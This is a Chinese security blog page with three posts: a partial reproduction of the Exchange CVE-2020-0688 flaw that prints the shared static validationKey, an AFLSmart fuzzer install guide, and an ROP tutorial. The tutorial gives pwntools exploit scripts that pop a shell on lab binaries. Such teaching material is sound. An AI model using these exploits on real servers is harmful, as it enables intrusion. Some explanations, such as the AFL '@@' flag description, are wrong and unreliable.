<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2020/02/26/20200226-微软EXCHANGE远程代码执行漏洞复现(CVE-2020-0688)/">微软EXCHANGE远程代码执行漏洞复现(CVE-2020-0688)</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<p>本周二,微软发布了一个Important级别的补丁,解决了Microsoft Exchange Server中的远程代码执行错误。此漏洞是由一位匿名研究人员报告给我们的,它影响了Microsoft Exchange Server的所有版本,直到周二的补丁才被修复。下面是这个漏洞的一个快速演示视频:</p>
<blockquote>
<p><a href="https://youtu.be/7d_HoQ0LVy8" target="_blank" rel="noopener">https://youtu.be/7d_HoQ0LVy8</a></p>
</blockquote>
<p>最初,微软表示这个漏洞是由于内存损坏而造成的,攻击者向存在缺陷的Exchange服务器发送经过特殊处理的电子邮件即可触发漏洞。而目前他们已经修改了原始库,指出这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。</p>
<p>具体来说,漏洞是在<strong>Exchange Control Panel (ECP)</strong>组件中发现的。这个漏洞的性质非常简单。与每次软件安装都会产生随机密钥不同,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的<strong>validationKey</strong>和<strong>decryptionKey</strong>。这些密钥用于保证<strong>ViewState</strong>的安全性。而<strong>ViewState</strong>是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过<strong>__VIEWSTATE</strong>请求参数将这些数据返回给服务器。</p>
<p><img src="/img/33.png" alt="验证秘钥截图"></p>
<p>为了利用这个漏洞,我们需要从经过身份验证的session中收集ViewStateUserKey和__VIEWSTATEGENERATOR值。ViewStateUserKey可以从ASP.NET的_SessionIDcookie中获取,而ViewStateUserKey可以在一个隐藏字段中找到。所有这些都可以通过浏览器中的工具轻松找到。</p>
<p>首先,进入/ecp/default.aspx页面并登录。所使用的帐户不需要任何高权限。在以下例子中,我们使用了一个名为user的帐户:</p>
<p><img src="/img/44.png" alt="登录获取一般权限下的登录凭证"><br>接着,我们需要收集一些信息。最重要的数据我们已经知道:</p>
<pre><code>validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
</code></pre>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2020/02/26/20200226-微软EXCHANGE远程代码执行漏洞复现(CVE-2020-0688)/" data-id="cli32j4n9002c7cvkmdsna9l6" class="article-share-link">Share</a>
<ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/Exploit/">Exploit</a></li></ul>
</footer>
</div>
</article>
<article id="post-20200215-aflsmart牛刀小试" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2020/02/16/20200215-aflsmart牛刀小试/" class="article-date">
<time datetime="2020-02-16T14:09:29.000Z" itemprop="datePublished">2020-02-16</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/tools/">tools</a>
</div>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2020/02/16/20200215-aflsmart牛刀小试/">aflsmart小试</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<h1 id="AFL-SMART-安装指南"><a href="#AFL-SMART-安装指南" class="headerlink" title="AFL-SMART 安装指南"></a>AFL-SMART 安装指南</h1><p>AFL-SMART是一款结合Peach和AFL模式的模糊测试工具,科普下Peach和AFL两款工具</p>
<blockquote>
<p>AFL是由美国谷歌公司安全研究人员开发的一款基于代码覆盖率的模糊测试工具,其核心部件是AFL-gcc 或 AFL-g++在编译器层面对代码进行插装,通过监控程序执行流程来实现对代码覆盖率的评估。AFL采用基于基于源码的插装模式进行模糊测试,在变异模块采用基于bit翻转、实现对crash结果的细节与动态跟踪,总而言之是一款优秀的灰盒测试工具</p>
</blockquote>
<blockquote>
<p>Peach是由美国Peach.tech公司开发的基于协议模糊测试工具,主要采用XML文件描述协议和文件格式</p>
</blockquote>
<h2 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h2><h3 id="系统依赖安装"><a href="#系统依赖安装" class="headerlink" title="系统依赖安装"></a>系统依赖安装</h3><p>安装python、libtool、g++依赖包,基于ubuntu系统安装<br><figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">sudo</span> apt-<span class="meta">get</span> install <span class="keyword">build-essential </span>automake libtool libc6-dev-i386 python-pip g++-<span class="keyword">multilib</span></span><br></pre></td></tr></table></figure></p>
<p>如果在安装中出现python-pip版本问题:<br><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">The following information may <span class="keyword">help</span> <span class="keyword">to</span> <span class="built_in">resolve</span> the situation:</span><br><span class="line"></span><br><span class="line">The following packages have unmet dependencie<span class="variable">s:</span></span><br><span class="line"> <span class="keyword">python</span>-pip : Depend<span class="variable">s:</span> <span class="keyword">python</span>-colorama but it <span class="keyword">is</span> not going <span class="keyword">to</span> <span class="keyword">be</span> installed</span><br><span class="line"> Depend<span class="variable">s:</span> <span class="keyword">python</span>-distlib but it <span class="keyword">is</span> not going <span class="keyword">to</span> <span class="keyword">be</span> installed</span><br><span class="line"> Depend<span class="variable">s:</span> <span class="keyword">python</span>-pip-whl (= <span class="number">1.5</span>.<span class="number">4</span>-<span class="number">1</span>ubuntu4) but <span class="number">20.0</span>.<span class="number">2</span>-<span class="number">5</span>ubuntu1.<span class="number">6</span> <span class="keyword">is</span> <span class="keyword">to</span> <span class="keyword">be</span> installed</span><br><span class="line"> Depend<span class="variable">s:</span> <span class="keyword">python</span>-requests but it <span class="keyword">is</span> not going <span class="keyword">to</span> <span class="keyword">be</span> installed</span><br><span class="line"> Recommend<span class="variable">s:</span> <span class="keyword">python</span>-dev-<span class="keyword">all</span> (>= <span class="number">2.6</span>) but it <span class="keyword">is</span> not installable</span><br><span class="line"> Recommend<span class="variable">s:</span> <span class="keyword">python</span>-wheel but it <span class="keyword">is</span> not going <span class="keyword">to</span> <span class="keyword">be</span> installed</span><br><span class="line">E: Unable <span class="keyword">to</span> correct problems, you have held broken packages.</span><br></pre></td></tr></table></figure></p>
<p>(1)该问题是由于python-pip已经安装好,不需要再二次安装,直接在apt-get中去掉python-pip即可。</p>
<figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">sudo</span> apt-<span class="meta">get</span> install <span class="keyword">build-essential </span>automake libtool libc6-dev-i386 g++-<span class="keyword">multilib</span></span><br></pre></td></tr></table></figure>
<p>(2)安装支持C#的工具包;<br><figure class="highlight maxima"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-<span class="built_in">get</span> install <span class="built_in">mono</span>-complete</span><br></pre></td></tr></table></figure></p>
<p>(3)安装gcc和g++ 4.4版支持工具;</p>
<figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sudo<span class="built_in"> add-apt-repository </span>ppa:ubuntu-toolchain-r/test</span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt install gcc-4.4</span><br><span class="line">sudo apt install g++-4.4</span><br></pre></td></tr></table></figure>
<h3 id="安装aflsmart文件"><a href="#安装aflsmart文件" class="headerlink" title="安装aflsmart文件"></a>安装aflsmart文件</h3><p>从github拉取工程文件,依次执行命令。<br><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">git clone http<span class="variable">s:</span>//github.<span class="keyword">com</span>/aflsmart/aflsmart</span><br><span class="line"><span class="keyword">cd</span> aflsmart</span><br><span class="line"><span class="keyword">make</span> clean <span class="keyword">all</span></span><br><span class="line"><span class="keyword">cd</span> ..</span><br><span class="line"></span><br><span class="line">export AFLSMART=$(<span class="keyword">pwd</span>)/aflsmart</span><br><span class="line">export WORKDIR=$(<span class="keyword">pwd</span>)</span><br></pre></td></tr></table></figure></p>
<h3 id="安装peach文件"><a href="#安装peach文件" class="headerlink" title="安装peach文件"></a>安装peach文件</h3><p>进入目录中,安装peach文件,修改部分cs文件,然后利用waf文件编译整个文件并安装。<br><figure class="highlight subunit"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">cd $AFLSMART</span><br><span class="line">wget https://sourceforge.net/projects/peachfuzz/files/Peach/3.0/peach<span class="string">-3</span>.0.202-source.zip</span><br><span class="line">unzip peach<span class="string">-3</span>.0.202-source.zip</span><br><span class="line">patch -p1 < peach<span class="string">-3</span>.0.202.patch</span><br><span class="line">cd peach<span class="string">-3</span>.0.202-source</span><br><span class="line">CC=gcc<span class="string">-4</span>.4 CXX=g++<span class="string">-4</span>.4 ./waf configure</span><br><span class="line">CC=gcc<span class="string">-4</span>.4 CXX=g++<span class="string">-4</span>.4 ./waf install</span><br></pre></td></tr></table></figure></p>
<h3 id="设置系统环境变量"><a href="#设置系统环境变量" class="headerlink" title="设置系统环境变量"></a>设置系统环境变量</h3><p>主要设置aflsmart运行目录、peach运行目录以及相关全局变量。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> <span class="variable">$AFLSMART</span></span><br><span class="line"><span class="built_in">source</span> <span class="variable">$AFLSMART</span>/setup_env.sh</span><br></pre></td></tr></table></figure>
<h2 id="详细使用方法"><a href="#详细使用方法" class="headerlink" title="详细使用方法"></a>详细使用方法</h2><p>命令如下:<br><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -h -i <span class="keyword">in</span> -o out -w peach -g <input model <span class="built_in">file</span>> -x <dictionary <span class="built_in">file</span>> <executable binary <span class="keyword">and</span> <span class="keyword">its</span> arguments> @@</span><br></pre></td></tr></table></figure></p>
<ol>
<li>-h -i in :表示输入用in出入方法, -o out 表示使用标准输出方式</li>
<li>-w peach 表示使用peach成成的目录,后跟的 -g <输入xml文件> ,-x表示输出字典文件、以及可执行文件名称、执行命令</li>
<li>@@ 表示后台执行</li>
</ol>
<h1 id="测试实例"><a href="#测试实例" class="headerlink" title="测试实例"></a>测试实例</h1><p>官方用法中只使用了wav测试作为例子使用</p>
<h1 id="实例测试"><a href="#实例测试" class="headerlink" title="实例测试"></a>实例测试</h1><p>官方例子</p>
<figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">(<span class="number">1</span>)</span><br><span class="line">root<span class="variable">@vultr</span><span class="symbol">:~/aflsmart</span><span class="comment"># sudo docker run -itd c26804edf98e /bin/bash</span></span><br><span class="line"><span class="number">7</span>d2ecfc25dab4d2b2c8915305c99ad5f8b0e9f848ccacf6ffb2ce031abe7c41c</span><br><span class="line"></span><br><span class="line">docker exec -it c26804edf98e bash </span><br><span class="line">docker exec –it bb244f620484 bash</span><br><span class="line"></span><br><span class="line">(<span class="number">2</span>)</span><br><span class="line">root<span class="variable">@vultr</span><span class="symbol">:~</span><span class="comment"># docker ps</span></span><br><span class="line">CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES</span><br><span class="line">f81799889649 bb244f620484 <span class="string">"/bin/bash"</span> <span class="number">5</span> seconds ago Up <span class="number">3</span> seconds pensive_spence</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">(<span class="number">3</span>)</span><br><span class="line">sudo docker attach f81799889649</span><br></pre></td></tr></table></figure>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2020/02/16/20200215-aflsmart牛刀小试/" data-id="cli32j4n2001u7cvk0nxdspjs" class="article-share-link">Share</a>
</footer>
</div>
</article>
<article id="post-20200216-ROP攻击技术" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2020/02/16/20200216-ROP攻击技术/" class="article-date">
<time datetime="2020-02-16T14:09:29.000Z" itemprop="datePublished">2020-02-16</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/Pwn/">Pwn</a>
</div>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2020/02/16/20200216-ROP攻击技术/">一步一步学ROP之linux_x64篇</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<h1 id="一、序"><a href="#一、序" class="headerlink" title="一、序"></a>一、序</h1><p>**ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。上次我们主要讨论了linux_x86的ROP攻击:《一步一步学ROP之linux_x86篇》,在这次的教程中我们会带来上一篇的补充以及linux_x64方面的ROP利用方法,欢迎大家继续学习。</p>
<p>另外文中涉及代码可在我的github下载:<a href="https://github.com/zhengmin19.." target="_blank" rel="noopener">https://github.com/zhengmin19..</a>.</p>
<h1 id="二、Memory-Leak-amp-DynELF-在不获取目标libc-so的情况下进行ROP攻击"><a href="#二、Memory-Leak-amp-DynELF-在不获取目标libc-so的情况下进行ROP攻击" class="headerlink" title="二、Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击"></a>二、Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击</h1><p>注意,这一节是上一篇文章的补充,还是讲的x86的ROP。上次讲到了如何通过ROP绕过x86下DEP和ASLR防护。但是我们要事先得到目标机器上的libc.so或者具体的linux版本号才能计算出相应的offset。那么如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。</p>
<p>这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak</span><span class="params">(address)</span>:</span></span><br><span class="line"> payload1 = <span class="string">'a'</span>*<span class="number">140</span> + p32(plt_write) + p32(vulfun_addr) + p32(<span class="number">1</span>) +p32(address) + p32(<span class="number">4</span>)</span><br><span class="line"> p.send(payload1)</span><br><span class="line"> data = p.recv(<span class="number">4</span>)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"%#x => %s"</span> % (address, (data <span class="keyword">or</span> <span class="string">''</span>).encode(<span class="string">'hex'</span>))</span><br><span class="line"><span class="keyword">return</span> data</span><br></pre></td></tr></table></figure>
<p>随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。</p>
<p>要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。</p>
<figure class="highlight tap"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">$ readelf -S level2</span><br><span class="line">There are<span class="number"> 30 </span>section headers, starting at offset 0x1148:</span><br><span class="line"></span><br><span class="line">Section Headers:</span><br><span class="line"> [Nr] Name Type Addr Off Size ES Flg Lk Inf Al</span><br><span class="line">……</span><br><span class="line"> [23] .got.plt PROGBITS 08049ff4 000ff4<span class="number"> 000024 </span>04 WA <span class="number"> 0 </span> <span class="number"> 0 </span> 4</span><br><span class="line"> [24] .data PROGBITS 0804a018<span class="number"> 001018 </span>000008<span class="number"> 00 </span> WA <span class="number"> 0 </span> <span class="number"> 0 </span> 4</span><br><span class="line"> [25] .bss NOBITS 0804a020<span class="number"> 001020 </span>000008<span class="number"> 00 </span> WA <span class="number"> 0 </span> <span class="number"> 0 </span> 4</span><br><span class="line"> [26] .comment PROGBITS <span class="number"> 00000000 </span>001020 00002a<span class="number"> 01 </span> MS <span class="number"> 0 </span> <span class="number"> 0 </span> 1</span><br><span class="line">……</span><br></pre></td></tr></table></figure>
<p>因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到。PS:我们会在随后的章节中介绍如何用工具寻找更复杂的gadgets。</p>
<p>整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。最终的exp如下:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">'./level2'</span>)</span><br><span class="line">plt_write = elf.symbols[<span class="string">'write'</span>]</span><br><span class="line">plt_read = elf.symbols[<span class="string">'read'</span>]</span><br><span class="line">vulfun_addr = <span class="number">0x08048474</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak</span><span class="params">(address)</span>:</span></span><br><span class="line"> payload1 = <span class="string">'a'</span>*<span class="number">140</span> + p32(plt_write) + p32(vulfun_addr) + p32(<span class="number">1</span>) +p32(address) + p32(<span class="number">4</span>)</span><br><span class="line"> p.send(payload1)</span><br><span class="line"> data = p.recv(<span class="number">4</span>)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"%#x => %s"</span> % (address, (data <span class="keyword">or</span> <span class="string">''</span>).encode(<span class="string">'hex'</span>))</span><br><span class="line"> <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line">p = process(<span class="string">'./level2'</span>)</span><br><span class="line"><span class="comment">#p = remote('127.0.0.1', 10002)</span></span><br><span class="line"></span><br><span class="line">d = DynELF(leak, elf=ELF(<span class="string">'./level2'</span>))</span><br><span class="line"></span><br><span class="line">system_addr = d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>)</span><br><span class="line"><span class="keyword">print</span> <span class="string">"system_addr="</span> + hex(system_addr)</span><br><span class="line"></span><br><span class="line">bss_addr = <span class="number">0x0804a020</span></span><br><span class="line">pppr = <span class="number">0x804855d</span></span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'a'</span>*<span class="number">140</span> + p32(plt_read) + p32(pppr) + p32(<span class="number">0</span>) + p32(bss_addr) + p32(<span class="number">8</span>) </span><br><span class="line">payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)</span><br><span class="line"><span class="comment">#ss = raw_input()</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"\n###sending payload2 ...###"</span></span><br><span class="line">p.send(payload2)</span><br><span class="line">p.send(<span class="string">"/bin/sh\0"</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
<p>执行结果如下:</p>
<p>#!bash<br>$ python exp4.py<br>[+] Started program ‘./level2’<br>0x8048000 => 7f454c46<br>[+] Loading from ‘/home/mzheng/CTF/level2’: Done<br>0x8049ff8 => 18697eb7<br>[+] Resolving ‘system’ in ‘libc.so’: 0xb77e6918<br>0x8049f28 => 01000000<br>0x8049f30 => 0c000000<br>0x8049f38 => 0d000000<br>0x8049f40 => f5feff6f<br>0x8049f48 => 05000000<br>0x8049f50 => 06000000<br>0x8049f58 => 0a000000<br>0x8049f60 => 0b000000<br>0x8049f68 => 15000000<br>0x8049f70 => 03000000<br>0x8049f74 => f49f0408<br>0xb77e691c => c5eb7db7<br>0xb77debc5 => 0069203d<br>0xb77e6924 => 086c7eb7<br>0xb77e6c0c => c5eb7db7<br>0xb77e6c14 => 58387cb7<br>0xb77c385c => 38387cb7<br>0xb77c3838 => 2f6c6962<br>0xb77c383c => 2f693338<br>0xb77c3840 => 362d6c69<br>0xb77c3844 => 6e75782d<br>0xb77c3848 => 676e752f<br>0xb77c384c => 6c696263<br>0xb77c3850 => 2e736f2e<br>0xb77c3854 => 36000000<br>0xb77c3858 => 007060b7<br>0xb7607000 => 7f454c46<br>0xb77c3860 => 7cdd7ab7<br>0xb7607004 => 01010100<br>0xb77add7c => 01000000<br>0xb77add84 => 0e000000<br>0xb77add8c => 0c000000<br>0xb77add94 => 19000000<br>0xb77add9c => 1b000000<br>0xb77adda4 => 04000000<br>0xb77addac => f5feff6f<br>0xb77addb0 => b87160b7<br>0xb77addb4 => 05000000<br>0xb77addb8 => 584161b7<br>0xb77addbc => 06000000<br>0xb77addc0 => 38ae60b7<br>0xb76071b8 => f3030000<br>0xb76071bc => 09000000<br>0xb76071c0 => 00020000<br>0xb7608390 => 8e050000<br>0xb7609fa8 => 8ae4ee1c<br>0xb7610718 => 562f0000<br>0xb76170ae => 73797374<br>0xb76170b2 => 656d0074<br>0xb761071c => 60f40300<br>system_addr=0xb7646460</p>
<p>###sending payload2 …###<br>[*] Switching to interactive mode<br>$ whoami<br>mzheng<br>三、linux_64与linux_86的区别<br>linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。</p>
<p>我们还是拿实际程序做例子进行讲解,level3.c内容如下:</p>
<p>#!c</p>
<p>#include <stdio.h></p>
<p>#include <stdlib.h></p>
<p>#include <unistd.h></p>
<p>void callsystem()<br>{<br> system(“/bin/sh”);<br>}</p>
<p>void vulnerable_function() {<br> char buf[128];<br> read(STDIN_FILENO, buf, 512);<br>}</p>
<p>int main(int argc, char** argv) {<br> write(STDOUT_FILENO, “Hello, World\n”, 13);<br> vulnerable_function();<br>}<br>我们打开ASLR并用如下方法编译:</p>
<p>#!bash<br>$ gcc -fno-stack-protector level3.c -o level3<br>通过分析源码,我们可以看到想要获取这个程序的shell非常简单,只需要控制PC指针跳转到callsystem()这个函数的地址上即可。因为程序本身在内存中的地址不是随机的,所以不用担心函数地址发生改变。接下来就是要找溢出点了。我们还是用老方法生成一串定位字符串:</p>
<p>#!bash<br>$python pattern.py create 150 > payload<br>$ cat payload<br>Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9<br>然后运行gdb ./level3后输入这串字符串造成程序崩溃。</p>
<p>#!bash<br>(gdb) run < payload<br>Starting program: /home/mzheng/CTF/level3 < payload<br>Hello, World</p>
<p>Program received signal SIGSEGV, Segmentation fault.<br>0x00000000004005b3 in vulnerable_function ()<br>奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。</p>
<p>#!bash<br>(gdb) x/gx $rsp<br>0x7fffffffe188: 0x3765413665413565<br>在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。</p>
<p>#!bash<br>$ python pattern.py offset 0x3765413665413565<br>hex pattern decoded as: e5Ae6Ae7<br>136<br>可以看到溢出点为136字节。我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针。</p>
<p>#!bash<br>python -c ‘print “A”*136+”ABCDEF\x00\x00”‘ > payload</p>
<p>(gdb) run < payload<br>Starting program: /home/mzheng/CTF/level1 < payload<br>Hello, World</p>
<p>Program received signal SIGSEGV, Segmentation fault.<br>0x0000464544434241 in ?? ()<br>可以看到我们已经成功的控制了PC的指针了。所以最终的exp如下:</p>
<p>#!python</p>
<p>#!/usr/bin/env python<br>from pwn import *</p>
<p>elf = ELF(‘level3’)</p>
<p>p = process(‘./level3’)</p>
<p>#p = remote(‘127.0.0.1’,10001)</p>
<p>callsystem = 0x0000000000400584</p>
<p>payload = “A”*136 + p64(callsystem)</p>
<p>p.send(payload)</p>
<p>p.interactive()<br>四、使用工具寻找gadgets<br>我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:</p>
<p>ROPEME: <a href="https://github.com/packz/ropeme" target="_blank" rel="noopener">https://github.com/packz/ropeme</a></p>
<p>Ropper: <a href="https://github.com/sashs/Ropper" target="_blank" rel="noopener">https://github.com/sashs/Ropper</a></p>
<p>ROPgadget: <a href="https://github.com/JonathanSa.." target="_blank" rel="noopener">https://github.com/JonathanSa..</a>.</p>
<p>rp++: <a href="https://github.com/0vercl0k/rp" target="_blank" rel="noopener">https://github.com/0vercl0k/rp</a></p>
<p>这些工具功能上都差不多,找一款自己能用的惯的即可。</p>
<p>下面我们结合例子来讲解,首先来看一下目标程序level4.c的源码:</p>
<p>#!c</p>
<p>#include <stdio.h></p>
<p>#include <stdlib.h></p>
<p>#include <unistd.h></p>
<p>#include <dlfcn.h></p>
<p>void systemaddr()<br>{<br> void* handle = dlopen(“libc.so.6”, RTLD_LAZY);<br> printf(“%p\n”,dlsym(handle,”system”));<br> fflush(stdout);<br>}</p>
<p>void vulnerable_function() {<br> char buf[128];<br> read(STDIN_FILENO, buf, 512);<br>}</p>
<p>int main(int argc, char** argv) {<br> systemaddr();<br> write(1, “Hello, World\n”, 13);<br> vulnerable_function();<br>}<br>编译方法:</p>
<p>#!bash<br>gcc -fno-stack-protector level4.c -o level4 -ldl<br>首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了,只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)。但为了调用system(“/bin/sh”),我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下level4中所有pop ret的gadgets。</p>
<p>#!bash<br>$ ROPgadget –binary level4 –only “pop|ret” </p>
<h1 id="Gadgets-information"><a href="#Gadgets-information" class="headerlink" title="Gadgets information"></a>Gadgets information</h1><p>0x00000000004006d2 : pop rbp ; ret<br>0x00000000004006d1 : pop rbx ; pop rbp ; ret<br>0x0000000000400585 : ret<br>0x0000000000400735 : ret 0xbdb8<br>结果并不理想,因为程序比较小,在目标程序中并不能找到pop rdi; ret这个gadget。怎么办呢?解决方案是寻找libc.so中的gadgets。因为程序本身会load libc.so到内存中并且会打印system()的地址。所以当我们找到gadgets后可以通过system()计算出偏移量后调用对应的gadgets。</p>
<p>#!bash<br>$ ROPgadget –binary libc.so.6 –only “pop|ret” | grep rdi<br>0x000000000001f27d : pop rdi ; pop rbp ; ret<br>0x00000000000205cd : pop rdi ; pop rbx ; pop rbp ; ret<br>0x0000000000073033 : pop rdi ; pop rbx ; ret<br>0x0000000000022a12 : pop rdi ; ret<br>这次我们成功的找到了“pop rdi; ret”这个gadget了。也就可以构造我们的ROP链了。</p>
